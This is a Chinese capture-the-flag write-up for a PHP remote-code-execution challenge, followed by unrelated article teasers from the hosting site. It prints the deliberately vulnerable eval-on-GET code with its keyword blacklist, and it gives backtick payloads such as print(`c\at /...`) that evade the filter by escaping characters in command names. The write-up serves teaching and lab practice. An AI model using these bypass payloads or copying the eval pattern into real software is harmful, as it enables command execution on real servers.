[UUCTF 2022 新生赛]ez_rce

[UUCTF 2022 新生赛]ez_rce wp

在做这道题时,我参考了这篇博客:

https://www.cnblogs.com/bkofyZ/p/17594549.html

认识到了自己的一些不足。

题目代码如下:

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){$code=$_GET['code'];if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){echo '看看你输入的参数!!!不叫样子!!';echo '<br>';eval($code);}else{die("你想干什么?????????");}
}
else{echo "居然都不输入参数,可恶!!!!!!!!!";show_source(__FILE__);
}

反引号命令执行

此前我一直以为反引号是 shell 命令里才能用的东西,所以没往这边想。现在知道 PHP 是有的,不止 PHP ,其他各大语言也有。

既然碰到了,那就认真学一下,区分一下它们之间的区别。

PHP 反引号

PHP 支持一个执行运算符:反引号( `` )。

PHP 会将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。
使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。

推荐文章:php 执行运算符

shell 反引号

shell 反引号中的命令会先执行,将执行结果返回出来,再作为外部命令的一部分。

在 shell 命令中,反引号与 $() 作用相同,都是命令替换。

比如:

echo these are files in the directory :`ls`
# 或者
echo these are files in the directory :$(ls)

在这条命令中,ls 命令会先执行,再执行 echo 命令。返回结果:

these are files in the directory :index.html

推荐文章:shell中的 单引号’ '、双引号 " " 和 反引号`

python、go 中的反引号

python、go 中的反引号作用相同,即反引号包裹的是原始字符串,不做任何转义。

比如 \n 在反引号中不会被解释为换行,还是它原本的样子。

java 反引号

java 中的反引号有时可以作为标识符的一部分。

推荐文章:反引号 java

sql 语句反引号

sql 语句中的反引号是为了区分MySQL的保留字与普通字符而引入的符号。

例如:

SELECT `select` FROM `test` WHERE select='字段值'

在这里,select 是关键字,使用反引号将其标识为普通字符,如果不使用,会出现语法错误。

此外,当标识符以数字开头时,也需要添加反引号,否则该标识符会被当成一个数字。

推荐博客:

在mysql语句中为什么要加反引号

mysql 标识符以数字开头

shell 绕过关键字过滤

已知 PHP 反引号中的内容会被当成 shell 命令来执行,shell 命令在绕过关键字过滤时,最简单的方法有以下两种:

cat 替换为 c\at
cat 替换为 c''at 。

这样就没问题了。

payload

查看根目录下的文件:

print(`l\s /`);

查看 flag 文件:

print(`c\at /fffffffffflagafag`);

拿到 flag :

在这里插入图片描述

疑问:

当我输入以下内容时,flag 没有输出:

print(`ca\t /fffffffffflagafag`);

然而下面的内容却能输出:

print(`ca''t /fffffffffflagafag`);

有大佬知道为什么吗?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/592804.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

突显网页设计优势:不可忽视的四项关键要素

网页网站设计要点 一、主题清晰 在明确目标的基础上&#xff0c;完成网站的创意是整体设计方案。定位网站的整体风格和特点&#xff0c;规划网站的组织结构。网站应根据不同的服务对象&#xff08;机构或人员&#xff09;有不同的形式。有些网站只提供简单的文本信息&#xf…

springboot(ssm码头船只货柜管理系统Java系统

springboot(ssm码头船只货柜管理系统Java系统 开发语言&#xff1a;Java 框架&#xff1a;ssm/springboot vue JDK版本&#xff1a;JDK1.8&#xff08;或11&#xff09; 服务器&#xff1a;tomcat 数据库&#xff1a;mysql 5.7&#xff08;或8.0&#xff09; 数据库工具&…

路径搜索算法 A* 算法 和 Dijkstra 算法

A*算法和Dijkstra算法是两种常用的路径搜索算法&#xff0c;用于在图形结构中寻找最短路径。它们都属于单源最短路径算法&#xff0c;可以用于解决各种寻路问题。 A算法是一种启发式搜索算法&#xff0c;同时考虑了实际移动代价和估计距离代价&#xff0c;通过估计代价来指导搜…

C语言操作符(简单解释版)

算术操作符&#xff1a; &#xff1a;用于将两个数值相加。例如&#xff1a;3 5 8。-&#xff1a;用于从一个数值中减去另一个数值。例如&#xff1a;5 - 3 2。*****&#xff1a;用于将一个数值乘以另一个数值。例如&#xff1a;6 * 5 30。/&#xff1a;用于将第一个数值除…

【程序员的自我修养08】精华!!!动态库的由来及其实现原理

绪论 大家好&#xff0c;欢迎来到【程序员的自我修养】专栏。正如其专栏名&#xff0c;本专栏主要分享学习《程序员的自我修养——链接、装载与库》的知识点以及结合自己的工作经验以及思考。编译原理相关知识本身就比较有难度&#xff0c;我会尽自己最大的努力&#xff0c;争…

穷举vs暴搜vs深搜vs回溯vs剪枝

欢迎来到Cefler的博客&#x1f601; &#x1f54c;博客主页&#xff1a;那个传说中的man的主页 &#x1f3e0;个人专栏&#xff1a;题目解析 &#x1f30e;推荐文章&#xff1a;题目大解析&#xff08;3&#xff09; 目录 &#x1f449;&#x1f3fb;全排列&#x1f449;&#…

微信小程序使用echarts报错 ReferenceError: Image is not defined 解决

报错 ReferenceError: Image is not defined 在用uni-app开发微信小程序时&#xff0c;使用到了echarts&#xff08;V4.6.0&#xff09;配置项中的icon属性&#xff0c;微信开发者工具报错如下&#xff1a; 定位问题 定位问题到了压缩echarts文件中的new Image 使用非压缩…

Java解决字典序最小回文串

Java解决字典序最小回文串 01 题目 给你一个由 小写英文字母 组成的字符串 s &#xff0c;你可以对其执行一些操作。在一步操作中&#xff0c;你可以用其他小写英文字母 替换 s 中的一个字符。 请你执行 尽可能少的操作 &#xff0c;使 s 变成一个 回文串 。如果执行 最少 操…

电商API连接升级:飞书集成助力营销系统

无代码开发的连接优势 在数字化时代&#xff0c;电商平台不断寻求创新的方法来提升业务效率和客户体验。无代码开发的连接优势正是飞书审批带给电商行业的一大福音。通过简化集成过程&#xff0c;飞书审批允许企业无需深入复杂的编程技术&#xff0c;即可实现系统间的高效连接…

【LabVIEW FPGA入门】创建第一个LabVIEW FPGA程序

本教程仅以compactRIO&#xff08;FPGA-RT&#xff09;举例 1.系统配置 1.1软件安装 FPGA-RT 1. LabVIEW Development System (Full or Professional) 2. LabVIEW Real-Time Module 3. LabVIEW FPGA Module 4. NI-RIO drivers 1.2硬件配置 1.使用线缆连接CompactRIO至主机…

解决json.decoder.JSONDecodeError: Extra data: line 1 column 721 (char 720)问题

python中将字符串序反列化成json格式时报错 fn result_json[0].decode(utf-8).strip(\00) json_object json.loads(fn) print(type(json_object))排查了以下原因应该是序列化的字符串全都在一行&#xff0c;json库不能一次性处理这么长的序列

jsavascript

JavaScript获取当前时间 效果图当前时间 效果图 当前时间 var now new Date();var year now.getFullYear();var month (now.getMonth() 1) <10 ? "0"(now.getMonth() 1) : (now.getMonth() 1);var day now.getDate() <10 ? "0"now.getDate() :…

【Linux 内核源码分析】GPIO子系统软件框架

Linux内核的GPIO子系统是用于管理和控制通用输入输出&#xff08;GPIO&#xff09;引脚的软件框架。它提供了一套统一的接口和机制&#xff0c;使开发者能够方便地对GPIO进行配置、读写和中断处理。 主要组件&#xff1a; GPIO框架&#xff1a;提供了一套API和数据结构&#x…

安卓作业001 - 显示学生信息

文章目录 安卓作业001 - 显示学生信息一、界面设计思路二、涉及知识点概览三、实现步骤详解四、启动应用&#xff0c;查看结果五、任务完成总结 安卓作业001 - 显示学生信息 显示学生详细信息要求更改应用图标及标 题要求设置窗口背景图片 一、界面设计思路 在本次安卓作业0…

兔单抗制备方法的发展-噬菌体展示技术-卡梅德生物

兔单克隆抗体技术是近年来在抗体研究领域中取得的重要进展之一。研究人员通过改进抗原设计、免疫策略和单克隆B细胞培养条件&#xff0c;提高了单克隆抗体的产量和特异性。相比于传统的小鼠单克隆抗体技术&#xff0c;兔单克隆抗体技术具有更大的抗原特异性和更高的亲和力&…

纯血鸿蒙 App 上线,目前已超 150 款!

做鸿蒙应用开发到底学习些啥&#xff1f;鸿蒙生态&#xff0c;正在极速扩大&#xff01; 上月底&#xff0c;包括荣耀 V30、30 系列及 Play 4 Pro 六款老机型&#xff0c;获得了鸿蒙 4.0 正式版更新。 前不久&#xff0c;华为 P30 系列、Mate 20 系列、荣耀 20 系列、荣耀 V2…

第7章 表格和表单

学习目标 掌握创建表格的方法&#xff0c;能够在网页中创建表格。 熟悉表格相关标签的属性&#xff0c;能够运用这些属性设置不同形态的表格。 掌握CSS控制表格样式的方法&#xff0c;能够使用CSS设置表格样式。 了解表单的构成&#xff0c;能够说出表单的构成部分。 掌握创…

【java】byte[] 存储内存清理

在Java中&#xff0c;可以使用byte数组来存储二进制数据。当不再需要这些字节时&#xff0c;我们应该及时释放相关的资源并将其置为null&#xff0c;以便JVM能够正确地管理内存。 下面是一段示例代码&#xff0c;展示了如何创建、使用和清理byte数组&#xff1a; public clas…

离散点过滤算法

离散点过滤算法是数据处理中常用的一种算法&#xff0c;主要用于去除数据中的离群点或噪声点。这些离群点可能是由于测量误差、异常事件或其他原因产生的。以下是一些常见的离散点过滤算法&#xff1a; Z-score过滤算法&#xff1a;该算法通过计算每个数据点的Z-score&#xf…

关于安卓重启设备和重启应用进程

android 重启应用进程 //多种方式重启应用进程public class MainActivity {//重启当前Applicationprivate void restartApplication(){final Intent intent getPackageManager().getLaunchIntentForPackage(getPackageName());intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP…